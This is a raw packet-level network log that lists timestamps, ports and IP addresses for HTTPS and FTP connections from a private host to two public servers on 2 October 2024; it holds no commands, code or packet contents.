Oct 2, 2024 15:45:15.968266010 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968271017 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968461990 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968519926 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968765974 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968815088 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968815088 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968815088 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968820095 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968872070 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968936920 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968981981 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968981981 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968981981 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968987942 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.987588882 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.989803076 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.989809990 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.037801981 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.053592920 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053628922 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053653002 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053731918 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.053749084 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053769112 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053787947 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053803921 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.053803921 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.053822041 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053863049 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.053863049 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.053934097 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.053956985 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.054095030 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.054125071 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.054147005 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.054147005 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.054147005 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.054156065 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.054214954 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.054333925 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.054383993 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.054383993 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.054383993 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.054393053 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.054425001 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055074930 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055160999 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055214882 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055214882 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055214882 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055222034 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055280924 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055403948 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055403948 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055408955 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055516958 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055669069 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055720091 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055720091 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055720091 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.055726051 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.055788040 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.056044102 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.056163073 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.056220055 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.056220055 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.056220055 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.056226969 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.056252003 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.057802916 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.057802916 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.057807922 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.059432030 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.074318886 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.074439049 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203301907 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203363895 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203447104 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203447104 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203464031 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203490973 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203510046 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203516960 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203567982 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203567982 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203572035 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203583002 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203668118 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203668118 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203720093 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203915119 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.203926086 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.203988075 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.204277039 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.204390049 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.204440117 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.204440117 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.204447031 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.204489946 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.204565048 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.204626083 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.204678059 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.204678059 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.204691887 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.204703093 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:16.204818964 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:16.259486914 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:18.191771984 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:18.453910112 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:18.454751968 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:18.495083094 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:19.082365036 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:19.082648993 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:19.087615967 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:19.306176901 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:19.308649063 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:19.313472986 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:19.552083969 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:19.552366972 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:19.557291985 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:19.776896000 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:19.777229071 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:19.782089949 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:20.000653982 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:20.001111984 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:20.006088018 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:20.227247000 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:20.227432966 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:20.232332945 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:20.450651884 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:20.451499939 CEST	53096	53705	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:20.456459045 CEST	53705	53096	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:20.456588984 CEST	53096	53705	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:20.456752062 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:20.462044001 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:21.777369022 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:21.777765989 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:21.777811050 CEST	53096	53705	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:21.777811050 CEST	53096	53705	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:21.777828932 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:21.777951956 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:21.778050900 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:21.782949924 CEST	53705	53096	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:21.787517071 CEST	53705	53096	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:21.787615061 CEST	53096	53705	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:22.006131887 CEST	21	53091	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:22.051816940 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:22.706577063 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:22.706630945 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:22.706716061 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:22.715356112 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:22.715379000 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.218080997 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.218281031 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.226950884 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.226968050 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.227267981 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.270308971 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.282301903 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.327408075 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.408188105 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.408210993 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.408219099 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.408289909 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.408318996 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.431709051 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.431776047 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.431806087 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.473417044 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.493544102 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.493555069 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.493582964 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.493629932 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.493673086 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.494854927 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.494863033 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.494926929 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.495822906 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.495831013 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.495914936 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.518179893 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.518193007 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.518279076 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.596081018 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596093893 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596134901 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596168041 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596194983 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.596247911 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596252918 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.596257925 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596293926 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596321106 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596323013 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.596332073 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.596338987 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.596373081 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.605712891 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.605802059 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.605835915 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.660913944 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.674861908 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.674977064 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.675430059 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.675512075 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.675538063 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.675625086 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.676378965 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.676455975 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.677211046 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.677293062 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.678869009 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.678951025 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.679708004 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.679800034 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.680322886 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.680397034 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.681382895 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.681458950 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.682193995 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.682277918 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.683377981 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.683485031 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.684078932 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.684144020 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.684997082 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.685070038 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.692188025 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.692266941 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.692317963 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.692395926 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.756330967 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.756429911 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.756484985 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.756566048 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.756814957 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.756887913 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.757081032 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.757153034 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.757216930 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.757292032 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.757680893 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.757752895 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.757981062 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.758052111 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.758161068 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.758238077 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.758464098 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.758543968 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.758544922 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.758671045 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.758744001 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.759368896 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.759453058 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.759563923 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.759638071 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.759704113 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.759778023 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.760046005 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.760121107 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.779108047 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.779211044 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.842916012 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.843029022 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.843089104 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.843158960 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.843228102 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.843310118 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.843626022 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.843702078 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.843806028 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.843890905 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.844033957 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.844114065 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.844247103 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.844331026 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.844863892 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.844942093 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.845060110 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.845133066 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.845330000 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.845408916 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.845479012 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.845541954 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.845628977 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.845700026 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.846168995 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.846241951 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.846313000 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.846376896 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.846455097 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.846518040 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.865636110 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.865731001 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.929780006 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.929935932 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.929994106 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.930063009 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.930172920 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.930253029 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.930617094 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.930702925 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.930931091 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.930998087 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.931071997 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.931143999 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.931190968 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.931255102 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.931503057 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.931567907 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.931617975 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.931696892 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.931879044 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.931941032 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.932079077 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.932142973 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.932229996 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.932287931 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.932343006 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.932403088 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.932729006 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.932796955 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.932887077 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.932949066 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.933001995 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.933060884 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.939946890 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.940074921 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:23.954664946 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:23.954802990 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.016870975 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.016990900 CEST	443	53097	67.212.175.162	192.168.2.10
